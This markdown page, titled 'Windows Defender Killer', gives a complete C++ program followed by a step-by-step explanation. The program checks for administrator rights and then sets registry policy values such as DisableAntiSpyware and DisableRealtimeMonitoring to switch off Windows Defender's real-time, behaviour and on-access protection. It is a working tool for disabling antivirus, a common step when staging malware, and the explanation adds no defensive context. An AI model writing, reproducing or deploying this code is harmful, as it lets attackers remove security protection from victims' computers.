# Windows Defender Killer

C++ Code

```
#include <windows.h>
#include <stdio.h>
#include <iostream>

using namespace std;

bool isUserAdmin() {
    BOOL isAdmin = FALSE;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID AdministratorsGroup;

    if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0,&AdministratorsGroup)) {
      return false;
    }
    if (!CheckTokenMembership(NULL, AdministratorsGroup, &isAdmin)) {
        FreeSid(AdministratorsGroup);
        return false;
    }
    FreeSid(AdministratorsGroup);
    return isAdmin != FALSE;
}

// disable defender via registry
int main(int argc, char* argv[]) {
    HKEY key;
    HKEY new_key;
    DWORD disable = 1;

    if (!isUserAdmin()) {
      cout << "please run this program as administrator." << endl;
      return -1;
    }

    LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Policies\\Microsoft\\Windows Defender", 0, KEY_ALL_ACCESS, &key);
    if (res == ERROR_SUCCESS) {
      RegSetValueEx(key, "DisableAntiSpyware", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
      RegCreateKeyEx(key, "Real-Time Protection", 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &new_key, 0);
      RegSetValueEx(new_key, "DisableRealtimeMonitoring", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
      RegSetValueEx(new_key, "DisableBehaviorMonitoring", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
      RegSetValueEx(new_key, "DisableScanOnRealtimeEnable", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
      RegSetValueEx(new_key, "DisableOnAccessProtection", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
      RegSetValueEx(new_key, "DisableIOAVProtection", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
      RegCloseKey(key);
      RegCloseKey(new_key);
    }

    cout << "Windows Defender has been disabled." << endl;
    cout << "Please restart your computer to take effect." << endl;
    getchar();
    return 0;
}
```

This C++ code appears to be a program designed to disable Windows Defender, the built-in antivirus and antimalware tool in Windows. Let's break down the code step by step:

1. Includes:
   - `#include <windows.h>`: This header file includes various Windows API functions and data types required for system-level programming.
   - `#include <stdio.h>`: This header file provides input and output functions.
   - `#include <iostream>`: This header file provides input and output stream functionality.
2. `isUserAdmin` Function:
   - This function checks if the current user is an administrator.
   - It uses Windows security functions to determine if the user belongs to the Administrators group.
   - It initializes a security identifier (SID) for the Administrators group and checks if the user's token (security context) is a member of this group.
   - If the user is an administrator, it returns `true`; otherwise, it returns `false`.
3. `main` Function:
   - The `main` function is the entry point of the program.
   - It first checks if the current user is an administrator by calling the `isUserAdmin` function. If not, it displays a message and exits.
   - It then attempts to modify the Windows Defender settings in the Windows Registry.
   - It uses the `RegOpenKeyEx` function to open the registry key associated with Windows Defender settings.
   - If it successfully opens the key, it proceeds to set several registry values to disable various Windows Defender features. These values are used to control real-time protection and other behaviors.
   - Finally, it displays a message indicating that Windows Defender has been disabled and suggests restarting the computer for the changes to take effect.